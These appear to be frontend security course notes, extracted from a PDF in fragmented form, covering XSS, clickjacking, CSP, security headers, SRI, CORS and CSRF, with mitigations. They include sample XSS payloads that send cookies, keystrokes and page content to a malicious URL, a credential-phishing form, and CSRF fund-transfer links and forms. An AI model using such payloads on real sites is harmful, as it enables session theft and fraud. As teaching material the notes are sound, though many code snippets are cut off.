Understanding Cross-Site Scripting (XSS)
Understanding Cross-Site Scripting (XSS)
If someone from outside can inject any kind of script in your website and do something unintended(stealing cookie, data,
critical information), it is known as XSS attack.
Malicious scripts can be injected from url, forms, input fields etc.
VULNERABILITIES
1. User session hijacking
Hijacking session details like stealing cookie data
2. Unauthorized activities
Sometimes you might have seen that you don’t send any message to your friend in facebook but message is sent asking for
money.
3. Capturing keystrokes
Getting what you are typing in keyboard
5. Phishing
Phishing is when attackers attempt to trick users into doing 'the wrong thing', such as clicking a bad link that will
download malware, or direct them to a dodgy website
Example 1
<!DOCTYPE html>
<html lang="en">
<head>
Cross-site scripting(XSS) 1
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>XSS Example</title>
</head>
<body>
<script>
const params = new URLSearchParams([Link]);
const name = [Link]('name');
[Link]('username').innerHTML = name;
</script>
</body>
</html>
Passing name in parameter and getting that name using query params
Cross-site scripting(XSS) 2
Welcome, <span id="username"></span>!
</div>
<script>
// Function to set a cookie, mostly this will be set from server
function setCookie(name, value, days) {
const date = new Date();
[Link]([Link]() + (days * 24 * 60 * 60 * 1000));
const expires = "expires=" + [Link]();
[Link] = name + "=" + value + ";" + expires + ";path=/";
}
// Example: Set a cookie named "exampleCookie" with value "Hello, Cookie!" that expires in 7
setCookie("exampleCookie", "Hello, Cookie!", 7);
</script>
</body>
</html>
Cross-site scripting(XSS) 3
Passing name in url
Image tag
encodeURIComponent()
The encodeURIComponent() function encodes a URI by replacing each instance of certain characters by one, two, three, or four
escape sequences representing the UTF-8 encoding of the character.
Value we got
%3Cimg%20src%3D%22does-not-
exist%22%20onerror%3D%22var%20img%20%3D%[Link](%60img%60)%3B%[Link]%3D'http%
Cross-site scripting(XSS) 4
We knew image does not exist. We passed onerror function which consists our malicios url and we pass cookie in that url.
As you can see we passed the cookie(that we saved from frontend-screenshot above) in malicious url. Now the attacker
can use that cookie to do all unwanted things.
Cross-site scripting(XSS) 5
Example 3 - Unauthorized activities
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>XSS Example</title>
</head>
<body>
<!-- Vulnerable Code -->
<div>
Welcome, <span id="username"></span>! TimeZone,
<span id="timezone"></span>!
</div>
<script>
// Function to set a cookie, mostly this will be set from server
function setCookie(name, value, days) {
const date = new Date();
[Link]([Link]() + days * 24 * 60 * 60 * 1000);
const expires = "expires=" + [Link]();
[Link] = name + "=" + value + ";" + expires + ";path=/";
}
// Example: Set a cookie named "exampleCookie" with value "Hello, Cookie!" that expires
in 7 days
setCookie("exampleCookie", "Hello, Cookie!", 7);
</script>
<script>
function createPost(title, description) {
var xhr = new XMLHttpRequest();
[Link]("POST", '/post', true);
[Link]([Link]);
[Link] = true;
[Link](
"Content-type",
"application/x-www-form-urlencoded"
);
[Link](`txtName=${title}&mtxMessage=${description}`);
}
</script>
Cross-site scripting(XSS) 6
</body>
</html>
In this example we want to pass this to name parameter. We are calling createPost method.
encodedURIComponent
%3Cimg%20src=%[Link]%27%20onerror=%22createPost(%27HACK_TITLE%27,%27HACK_DESCRIPTION%27);%22/%
URL
[Link]
name=%3Cimg%20src=%[Link]%27%20onerror=%22createPost(%27HACK_TITLE%27,%27HACK_DESCRIPTION%27)
We were able to access post method. Even our cookie got passed. If our url was up, post method would have been
successful.
Cross-site scripting(XSS) 7
Example 4 - Capturing keystrokes
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>XSS Example</title>
</head>
<body>
<script>
// Function to set a cookie, mostly this will be set from server
function setCookie(name, value, days) {
const date = new Date();
[Link]([Link]() + (days * 24 * 60 * 60 * 1000));
const expires = "expires=" + [Link]();
[Link] = name + "=" + value + ";" + expires + ";path=/";
}
// Example: Set a cookie named "exampleCookie" with value "Hello, Cookie!" that expires i
n 7 days
setCookie("exampleCookie", "Hello, Cookie!", 7);
</script>
</body>
</html>
Cross-site scripting(XSS) 8
encoded
%3Cimg%20src%3D%22does-not-
exist%22%20onerror%3D'var%20timeout%3B%20var%20buffer%20%3D%20%22%22%3B%[Link]
URL
[Link]
exist%22%20onerror%3D'var%20timeout%3B%20var%20buffer%20%3D%20%22%22%3B%[Link]
Cross-site scripting(XSS) 9
</div>
<script>
// Function to set a cookie, mostly this will be set from server
function setCookie(name, value, days) {
const date = new Date();
[Link]([Link]() + (days * 24 * 60 * 60 * 1000));
const expires = "expires=" + [Link]();
[Link] = name + "=" + value + ";" + expires + ";path=/";
}
// Example: Set a cookie named "exampleCookie" with value "Hello, Cookie!" that expires in
7 days
setCookie("exampleCookie", "Hello, Cookie!", 7);
</script>
</body>
</html>
encoded
%3Cimg%20src%3D"[Link]"%20onerror%3D"var%20mycookie%[Link]%3B%20new%20Image().src%3D
URL
[Link]
name=%3Cimg%20src%3D"[Link]"%20onerror%3D"var%20mycookie%[Link]%3B%20new%20Image().
Cross-site scripting(XSS) 10
Our entire inner html as passed to malicious url
Example 6 - Phishing
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>XSS Example</title>
</head>
<body>
<script>
// Function to set a cookie, mostly this will be set from server
function setCookie(name, value, days) {
const date = new Date();
[Link]([Link]() + (days * 24 * 60 * 60 * 1000));
const expires = "expires=" + [Link]();
[Link] = name + "=" + value + ";" + expires + ";path=/";
}
Cross-site scripting(XSS) 11
// Example: Set a cookie named "exampleCookie" with value "Hello, Cookie!" that expires in
7 days
setCookie("exampleCookie", "Hello, Cookie!", 7);
</script>
</body>
</html>
Cross-site scripting(XSS) 12
As soon as we submit the form, malicious url is called with our username and password
Example 7 - eval
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Dynamic JavaScript Injection</title>
</head>
<body>
Cross-site scripting(XSS) 13
<input type="text" id="jsCode" placeholder="Enter JavaScript code here">
<script>
function executeCode() {
// Get the JavaScript code from the input box
var jsCode = [Link]('jsCode').value;
try {
// Use eval to execute the entered JavaScript code
eval(jsCode);
} catch (error) {
// Handle any errors that may occur during execution
[Link]('Error executing code:', error);
}
}
</script>
</body>
</html>
MITIGATION
1. List all possible ways to take user input
Cross-site scripting(XSS) 14
url, forms, input fields
1. Allowed sources
2. Script Nonces
Cross-site scripting(XSS) 15
3. Report-only mode
npm init -y
npm install express —save
Folder structure
[Link]
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<h1>Page for CORS demo!</h1>
</body>
</html>
[Link]
Cross-site scripting(XSS) 16
const app = express();
[Link]([Link]('public'));
[Link](PORT, () => {
[Link](`Server started at [Link]
});
Our server is set up now. Type npm run start to start the server
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="[Link]
</head>
<body>
<h1>Page for CORS demo!</h1>
</body>
</html>
Cross-site scripting(XSS) 17
You can see our script is executed
We don’t want to execute any other script apart from the script from our own place.
//Added this middleware - whatever has to happen goes throgh this middleware
[Link]((req, res, next) => {
[Link](
'Content-Security-Policy',
"default-src 'self';"
);
next();
})
[Link]([Link]('public'));
[Link](PORT, () => {
Cross-site scripting(XSS) 18
[Link](`Server started at [Link]
});
Example 2
We can define policies on script level as well.
modified middleware
Cross-site scripting(XSS) 19
We can define policies for style, iFrames, images etc as well
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="[Link]
</head>
<body>
<h1>Page for CORS demo!</h1>
<img src="[Link]
k_800_800/0/1673037498537?e=1707955200&v=beta&t=203QmhfiuDGKmUJORGy-qw-RKJQAtMzeTjw3sDR3xbo" /
>
</body>
</html>
Cross-site scripting(XSS) 20
Example 4 - adding CSP
Cross-site scripting(XSS) 21
Example 5 -
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="[Link]
<script>
[Link]('My trusted code!')
</script>
</head>
<body>
<h1>Page for CORS demo!</h1>
</body>
</html>
You will not see console because it is inline script and we have not set CSP header for inline script.
Cross-site scripting(XSS) 22
"script-src 'self' 'unsafe-inline' [Link]
);
next();
})
Q. How can we distinguish scripts which are our and which are coming from 3rd party ?
Ans. Using nonce
Example 6 -
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="[Link]
Cross-site scripting(XSS) 23
<script nonce="randomKey">
[Link]('My trusted code!')
</script>
<script>
[Link]('My non-trusted code!')
</script>
</head>
<body>
<h1>Page for CORS demo!</h1>
</body>
</html>
Example 7
Cross-site scripting(XSS) 24
Now only script which has nonce defined as randomKey is loaded.
Report-only mode
If you get any CSP errors, you can report them to particular endpoint using
report-to default;
report-uri URL;
Cross-site scripting(XSS) 25
iFrame protection
iFrames are widely used. We can embed different websites, ads, videos in our
own website.
[Link] is our website. We have embedded [Link] , [Link] and ads using
iFrame in our website.
If not handled properly, b and ads can access different parts of our web
application which we don’t want. It posses a security threat to us.
Take another example, we have embedded google and we are allowing users to
do google search in our application. So basically we are using google’s all
resources for free which shouldn’t be the case.
iFrame protection 1
VULNERABILITIES
1. Click Hijacking
We place an transparent iFrame on top of our website. User clicks on submit
button. User thinks he has click on submit button but he/she clicks on transparent
iFrame’s button and ends up sending critical info
[Link]
design/tree/master/Security/IframeProtection
iFrame protection 2
example1 html
<!DOCTYPE html>
<html>
<head>
<title>Clickjacking Example</title>
</head>
<body>
<h1>Clickjacking Example</h1>
<p>Click the button below to see a simple clickjacking de
monstration.</p>
<button id="overlay-button">Click Me!</button>
<script>
// Simulate a clickjacking attack by overlaying the but
ton on top of the iframe
document
.getElementById("overlay-button")
iFrame protection 3
.addEventListener("click", () => {
alert("Button clicked!");
});
</script>
</body>
</html>
iframe-webiste1 html
<!DOCTYPE html>
<html>
<head>
<title>Clickjacking IFrame</title>
</head>
<body>
<h1>Child Iframe</h1>
<p>Iframe: Click the button below to see a simple clickja
iFrame protection 4
cking demonstration.</p>
example1
<!DOCTYPE html>
<html>
iFrame protection 5
<head>
<title>Clickjacking Example</title>
</head>
<body>
<h1>Clickjacking Example</h1>
<p>Click the button below to see a simple clickjacking de
monstration.</p>
<script>
// Simulate a clickjacking attack by overlaying the but
ton on top of the iframe
document
.getElementById("overlay-button")
.addEventListener("click", () => {
alert("Button clicked!");
});
</script>
iFrame protection 6
</body>
</html>
iFrame protection 7
When user clicks on Click Me, he has actually clicked on Pay now button of
iFrame. This is known as click hijacking.
example2 html
<!DOCTYPE html>
<html>
<head>
<title>Data Theft via JavaScript</title>
<script>
function setCookie(name, value, days) {
var expires = "";
if (days) {
var date = new Date();
iFrame protection 8
[Link]([Link]() + days * 24 * 60 * 60 *
1000);
expires = "; expires=" + [Link]();
}
<iframe
src="[Link]
sandbox="allow-same-origin allow-scripts allow-modals"
></iframe>
</body>
</html>
[Link]
<!DOCTYPE html>
<html>
<head>
<title>Malicious iframe</title>
</head>
<body>
<h1>Malicious iframe</h1>
<p>This iframe attempts to steal data from the parent win
dow.</p>
iFrame protection 9
<script>
[Link]('Hi');
// Malicious JavaScript code in the iframe
[Link] = function () {
try {
const parentWindow = [Link];
const parentDocument = [Link];
iFrame protection 10
As you can see, modern browsers doesn’t allow embedded iFrame to access
parent dom but issue still exists in older browsers
We can similarly access cookie data as well in older browsers.
MITIGATIONS
iFrame protection 11
Another example, let’s try to access google as iFrame in our website
example3 html
<!DOCTYPE html>
<html>
<head>
<title>Clickjacking Example</title>
</head>
<body>
<h1>Render google in iframe</h1>
<p>Click the button below to see a simple clickjacking de
monstration.</p>
<iframe src="[Link]
iFrame protection 12
</body>
</html>
2. sandbox
The sandbox attribute enables an extra set of restrictions for the content in the
iframe.
disable APIs
iFrame protection 13
prevent content from using plugins (through <embed> , <object> , <applet> , or
other)
example2 html
<!DOCTYPE html>
<html>
<head>
<title>Data Theft via JavaScript</title>
<script>
function setCookie(name, value, days) {
var expires = "";
iFrame protection 14
if (days) {
var date = new Date();
[Link]([Link]() + days * 24 * 60 * 60 *
1000);
expires = "; expires=" + [Link]();
}
<iframe
src="[Link]
sandbox
></iframe>
</body>
</html>
iFrame protection 15
<iframe
src="[Link]
sandbox="allow-same-origin allow-scripts allow-modals"
></iframe>
3. If parent tries to steal something from child. You can mention below code in
child script
<script>
if (top != self) {
[Link] = [Link];
iFrame protection 16
}
</script>
httpOnly: true - it means you can only access cookies only on the server. You
cannot access cookie using JavaScript(cannot use [Link] etc)
secure: true - cookie will be sent to the client if it is https
sameSite: ‘strict’ - if api’s are being called to some other domain, your cookies will
not travel along with them
[Link]('sessionID', '12345', {
httpOnly: true,
secure: true,
sameSite: 'strict',
});
next();
})
iFrame protection 17
iFrame protection 18
Security headers
index js
Security headers 1
[Link](port, () => {
[Link](`Server is running on port ${port}`);
});
X-Powered-By
This header tells you your application is built using what kind of server.
When we run the server, we can see in network tab, it shows our express server.
This is not a good practice. We must never expose our server like this. What if
there are some problems going on with express and attacker exploits those and
attack your system.
Security headers 2
[Link]((req, res, next) => {
[Link]('X-Powered-By');
next();
});
Referrer-Policy
The Referrer-Policy HTTP header controls how much referrer information (sent
with the Referer header) should be included with requests. Aside from the HTTP
header, you can set this policy in HTML.
Referrer-Policy: no-referrer
Referrer-Policy: no-referrer-when-downgrade
Referrer-Policy: origin
Referrer-Policy: origin-when-cross-origin
Referrer-Policy: same-origin
Referrer-Policy: strict-origin
Referrer-Policy: strict-origin-when-cross-origin
Referrer-Policy: unsafe-url
Read more
[Link]
Example
Security headers 3
Now , we will click notification icon and see network tab
Security headers 4
[Link]((req, res, next) => {
[Link]('Referrer-Policy', 'no-referrer');
[Link]('X-Powered-By');
next();
});
X-Content-Type-Options
Security headers 5
Suppose client requested jpg image from server, but some man in the middle
modified the request and injected some html/JavaScript . So, now server will send
something else only.
X-XSS-Protection
The HTTP X-XSS-Protection response header is a feature of Internet Explorer,
Chrome and Safari that stops pages from loading when they detect reflected
cross-site scripting (XSS) attacks. These protections are largely unnecessary in
Security headers 6
modern browsers when sites implement a strong Content-Security-Policy that
disables the use of inline JavaScript ( 'unsafe-inline' ).
X-XSS-Protection: 0
X-XSS-Protection: 1
X-XSS-Protection: 1; mode=block
X-XSS-Protection: 1; report=<reporting-uri>
Strict-Transport-Security(HSTS)
The HTTP Strict-Transport-Security response header (often abbreviated as HSTS)
informs browsers that the site should only be accessed using HTTPS, and that any
future attempts to access it using HTTP should automatically be converted to
HTTPS.
Security headers 7
It happens in 2 steps as you can see in above image-
1. For first request, we manually redirect to https. Then browser calls https and
we set strict-transport-security header.
[Link](redirectToHttps);
If you want above step to happen in single step, then you need to register your
domain in
[Link]
Security headers 8
Client-side security
Client-side security 1
set token expiry example
Authentication
JWT/OAuth
Data integrity
Client-side security 2
The property that data has not been altered in an unauthorized manner. Data
integrity covers data in storage, during processing, and while in transit.
Storage limit
There are basically 2 major impacts of storing data on client
1. It affects performance
2. Storing more data than browser’s capacity can lead to data loss
Below function is an example how one can get current data usage and available
data quota in browsers
Client-side security 3
Session Management
We should manage sessions and cookies appropriately.
Client-side security 4
Secure Communication(HTTPs)
Data encryption - client requests some data and then server sends data. That data
is unreadable
Secure Communication(HTTPs) 1
Dependency security
npm update
npm audit report - generates detailed report
Enforcing auditing
In your package itself - npm set audit true
Everytime during npm install/update it will automatically be execute and highlight
vulnerabilities
Dependency security 1
Code & Dependency monitor
Sometimes in some projects we don’t run them daily but we want them to be
proper with dependencies and all
In such cases, we can use
dependabot - for dependency monitoring
[Link](github) file is created and code id written to monitor
dependencies in some time interval
codeql - it goes one step ahead and does code as well as dependency monitoring
[Link] file(github)
Dependency locking
Generally we have pipelines set up which runs when we merge a code. In such
case, you want to avoid a frequent dependency errors.
Therefore we set up [Link]
It locks the version of direct and indirect dependencies in your project so that it is
not going to change everytime you run npm install.
[Link]
Dependency security 2
App scanner, burp suite, zed attack proxy - famous tools
Dependency security 3
Server-side Request
Forgery(SSRF)
Lack of whitelisting
example of whitelisting
eval()
setTimeout()
setInterval()
Function()
Insecure deserialization
There is some JSON data that is coming and we do deserialization without
checking
We use lot of third party scripts / iFrame in our app. What if they try to access
geolocation, audio, video, mic etc without our permission. How can we trust them
? We need to ensure security. For that we use Permissions-policy
Restrict a site from using sensitive devices like the camera, microphone, or
speakers.
Stop items from being scripted if they are not visible in the viewport, to
improve performance.
Syntax
Permissions-Policy: <directive>=<allowlist>
Allowlists
An allowlist is a list of origins that takes one or more of the following values
contained in parentheses, separated by spaces:
: The feature will be allowed in this document, and all nested browsing
contexts ( <iframe> s) regardless of their origin.
: The feature will be allowed in this document, and in all nested browsing
self
contexts ( <iframe> s) in the same origin only. The feature is not allowed in
cross-origin documents in nested browsing contexts. self can be considered
shorthand for [Link] . The equivalent
for <iframe> allow attributes is self .
src: The feature will be allowed in this <iframe> , as long as the document
loaded into it comes from the same origin as the URL in its src attribute. This
value is only used in the <iframe> allow attribute, and is
the default allowlist value in <iframe> s.
The values * and () may only be used on their own, while self and src may be
used in combination with one or more origins.
Directives
Example-
index js
<script>
function getGeolocation() {
// Check if the Geolocation API is supported by the
browser
if ([Link]) {
// Geolocation is supported
[Link](
function (position) {
// Success callback - position object contain
s the user's location
const latitude = [Link];
const longitude = [Link];
}
</script>
</body>
</html>
Suppose if you give your friend money. Something bad happens with him and he
is not able to return the money. You trust your friend and your friend is good as
well but still he is not able to return the money.
[Link]
Subresource Integrity(SRI) 1
<link href=””……….>
What does it do ?
Benefits
1. If value doesn’t match, we know our 3rd party resource is compromised and it
cannot be trusted.
Example-
We are loading lodash library using CDN and using it.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initia
l-scale=1.0">
<title>Express SRI Example</title>
<script src="[Link]
Subresource Integrity(SRI) 2
[Link]/4.17.21/[Link]"
integrity="sha384-H6KKS1H1WwuERMSm+54dYLzjg0fKqRK5ZRy
ASdbrI/lwrCc6bXEmtGYr5SwvP1pZ"
crossorigin="anonymous"></script>
<script>
var sample = _.filter([1,2,3], (data) => data % 2 );
[Link]('Testing lodash library: ', sample);
</script>
</head>
<body>
<h1>Hello, SRI World!</h1>
<h2>-- Namaste Frontend System Design</h2>
</body>
</html>
Now make some random changes in integrity attribute and reload web page again.
Subresource Integrity(SRI) 3
It will give error.
Subresource Integrity(SRI) 4
Cross-Origin Resource
Sharing(CORS)
Browser comes up with certain security measures which says that if you want to
access some resource cross domain, then I am going to ensure that other domain
from which you want to access a resource is giving permission to access or not.
CORS Header
Access-control-allow-origin
Access-control-allow-methods
Access-control-expose-headers
Example 1
let us try to access below google search api of name through our code
index html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initia
l-scale=1.0">
<title>Fetch with CORS Example</title>
</head>
<body>
<h1>Fetch with CORS Example</h1>
<button onclick="fetchData()">Fetch Data</button>
<div id="result"></div>
<script>
function fetchData() {
fetch('[Link]
mani&rlz=1C1JJTC_enIN1017IN1017&oq=sharvil+ajmani&gs_lcrp=EgZ
jaHJvbWUyBggAEEUYOTIGCAEQRRg8MgYIAhBFGD3SAQoxNzMzOWowajE1qAIA
sAIA&sourceid=chrome&ie=UTF-8', {
method: 'GET',
})
.then(response => [Link]())
.then(data => {
// Display the fetched data
[Link]('result').innerText =
[Link](data, null, 2);
Example 2 - let us try to setup our own local client and server
index html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initia
l-scale=1.0">
<title>Fetch with CORS Example</title>
</head>
<body>
<script>
function fetchData() {
fetch('[Link] {
method: 'GET',
})
.then(response => [Link]())
.then(data => {
// Display the fetched data
[Link]('result').innerText =
[Link](data, null, 2);
})
.catch(error => {
[Link]('Error:', error);
});
}
</script>
</body>
</html>
index js
We click on fetch data, again we get CORS error as this is default behavior of
browser(same origin policy). But some people install CORS extension in browser
and are able to access api from cross domain. In such cases we need to set CORS
headers in our server to allow/not allow cross domains to access our resources.
[Link](cors(corsOptions));
If you receive some malicious email and you click on it, and it sends message to
all your facebook friends automatically, it is CSRF.
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute
unwanted actions on a web application in which they’re currently authenticated.
With a little help of social engineering (such as sending a link via email or chat), an
attacker may trick the users of a web application into executing actions of the
attacker’s choosing. If the victim is a normal user, a successful CSRF attack can
force the user to perform state changing requests like transferring funds,
changing their email address, and so forth. If the victim is an administrative
account, CSRF can compromise the entire web application.
Statelessness of HTTP
Every request is a fresh/new request
User authentication
Cookie, tokens can be automatically carried forward. If we are already logged in, it
becomes a problem. Server just wants request along with authentication token.
Attacker can exploit such links and embed it in anchor tag, img tag, forms etc
<a href="[Link]
0">Offer</a>
<img src="[Link]
00">Offer</img>
Example 1
<!-- Email with vulnerability -->
<!doctype html>
<html>
img {
border: none;
-ms-interpolation-mode: bicubic;
max-width: 100%;
}
body {
background-color: #eaebed;
font-family: sans-serif;
-webkit-font-smoothing: antialiased;
font-size: 14px;
line-height: 1.4;
margin: 0;
padding: 0;
-ms-text-size-adjust: 100%;
-webkit-text-size-adjust: 100%;
}
table {
border-collapse: separate;
mso-table-lspace: 0pt;
mso-table-rspace: 0pt;
min-width: 100%;
width: 100%; }
/* -------------------------------------
BODY & CONTAINER
------------------------------------- */
.body {
background-color: #eaebed;
width: 100%;
}
.header {
padding: 20px 0;
}
.wrapper {
box-sizing: border-box;
padding: 20px;
}
.content-block {
padding-bottom: 10px;
padding-top: 10px;
}
.footer {
clear: both;
Margin-top: 10px;
text-align: center;
width: 100%;
}
.footer td,
.footer p,
.footer span,
.footer a {
color: #9a9ea6;
font-size: 12px;
/* -------------------------------------
TYPOGRAPHY
------------------------------------- */
h1,
h2,
h3,
h4 {
color: #06090f;
font-family: sans-serif;
font-weight: 400;
line-height: 1.4;
margin: 0;
margin-bottom: 30px;
}
h1 {
font-size: 35px;
font-weight: 300;
text-align: center;
text-transform: capitalize;
}
p,
ul,
ol {
font-family: sans-serif;
font-size: 14px;
font-weight: normal;
margin: 0;
margin-bottom: 15px;
}
p li,
ul li,
a {
color: #ec0867;
text-decoration: underline;
}
/* -------------------------------------
BUTTONS
------------------------------------- */
.btn {
box-sizing: border-box;
width: 100%; }
.btn > tbody > tr > td {
padding-bottom: 15px; }
.btn table {
min-width: auto;
width: auto;
}
.btn table td {
background-color: #ffffff;
border-radius: 5px;
text-align: center;
}
.btn a {
background-color: #ffffff;
border: solid 1px #ec0867;
border-radius: 5px;
box-sizing: border-box;
color: #ec0867;
cursor: pointer;
display: inline-block;
font-size: 14px;
.btn-primary table td {
background-color: #ec0867;
}
.btn-primary a {
background-color: #ec0867;
border-color: #ec0867;
color: #ffffff;
}
/* -------------------------------------
OTHER STYLES THAT MIGHT BE USEFUL
------------------------------------- */
.last {
margin-bottom: 0;
}
.first {
margin-top: 0;
}
.align-center {
text-align: center;
}
.align-right {
text-align: right;
}
.clear {
clear: both;
}
.mt0 {
margin-top: 0;
}
.mb0 {
margin-bottom: 0;
}
.preheader {
color: transparent;
display: none;
height: 0;
max-height: 0;
max-width: 0;
opacity: 0;
overflow: hidden;
mso-hide: all;
visibility: hidden;
width: 0;
}
.powered-by a {
text-decoration: none;
}
hr {
border: 0;
border-bottom: 1px solid #f6f6f6;
/* -------------------------------------
RESPONSIVE AND MOBILE FRIENDLY STYLES
------------------------------------- */
@media only screen and (max-width: 620px) {
table[class=body] h1 {
font-size: 28px !important;
margin-bottom: 10px !important;
}
table[class=body] p,
table[class=body] ul,
table[class=body] ol,
table[class=body] td,
table[class=body] span,
table[class=body] a {
font-size: 16px !important;
}
table[class=body] .wrapper,
table[class=body] .article {
padding: 10px !important;
}
table[class=body] .content {
padding: 0 !important;
}
table[class=body] .container {
padding: 0 !important;
width: 100% !important;
}
table[class=body] .main {
border-left-width: 0 !important;
border-radius: 0 !important;
border-right-width: 0 !important;
}
table[class=body] .btn table {
/* -------------------------------------
PRESERVE THESE STYLES IN THE HEAD
------------------------------------- */
@media all {
.ExternalClass {
width: 100%;
}
.ExternalClass,
.ExternalClass p,
.ExternalClass span,
.ExternalClass font,
.ExternalClass td,
.ExternalClass div {
line-height: 100%;
}
.apple-link a {
color: inherit !important;
font-family: inherit !important;
font-size: inherit !important;
font-weight: inherit !important;
line-height: inherit !important;
text-decoration: none !important;
}
.btn-primary table td:hover {
👋
<td>
<p> Welcome to Postdrop. A si
✨
mple tool to help developers with HTML email.</p>
<p> HTML email templates are
painful to build. So instead of spending hours or days trying
to make your own, just use this template and call it a day.</
⬇️
p>
<p> Add your own content then
download and copy over to your codebase or ESP. Postdrop will
inline the CSS for you to make sure it doesn't fall apart whe
📬
n it lands in your inbox.</p>
<p> Postdrop also lets you se
nd test emails to yourself. You just need to sign up first so
we know you're not a spammer.</p>
<table role="presentation" border="0"
cellpadding="0" cellspacing="0" class="btn btn-primary">
<tbody>
<tr>
<td align="center">
<table role="presentation" bo
rder="0" cellpadding="0" cellspacing="0">
<tbody>
<tr>
<td> <a href="[Link]
[Link]/fundtransfer?acct=224224&amount=50000" target="_blan
k">Sign Up For Postdrop</a> </td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>
On page load only, it executes an api hidden in img tag whose width,height and
border is 0.
[Link]
Example 2
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-
scale=1.0">
<title>Fund Transfer Form</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f4f4f4;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
form {
background-color: #fff;
padding: 20px;
border-radius: 8px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
text-align: center;
}
h1 {
color: #007BFF;
}
input[type="submit"] {
background-color: #007BFF;
color: #fff;
padding: 10px 20px;
border: none;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
margin-top: 20px;
}
input[type="submit"]:hover {
background-color: #0056b3;
}
</style>
</head>
<body>
<form action="[Link] method="POST">
<h1>Special Fund Transfer Offer!</h1>
<p>Transfer funds now and get a free gift worth $50!</p>
<input type="hidden" name="acct" value="224224"/>
<input type="hidden" name="amount" value="50000"/>
<input type="submit" value="Click to get your free gif
t!"/>
</form>
</body>
</html>
[Link](port, () => {
[Link](`Server is running on [Link]
`);
});
So, basically we have created a CSRF token and saved it on a session storage in
server. Whenever we load application, we are sending CSRF token to the form.
Whenever form is submitted, we check if both tokens are same or not before
executing anything on server. We have created it in such a way that every time(on
every load) new token is generated.
2. SameSite Cookies
[Link]((req,res,next) => {
[Link]('Set-Cookie','SameSite=Strict; Secure');
next();
});
Strict - Means that the browser sends the cookie only for same-site requests
Lax - Means that the cookie is not sent on cross-site requests
None - Means that the browser sends the cookie with both cross-site and same-
site requests
[Link](port, () => {
[Link](`Server is running on [Link]
4. Use captcha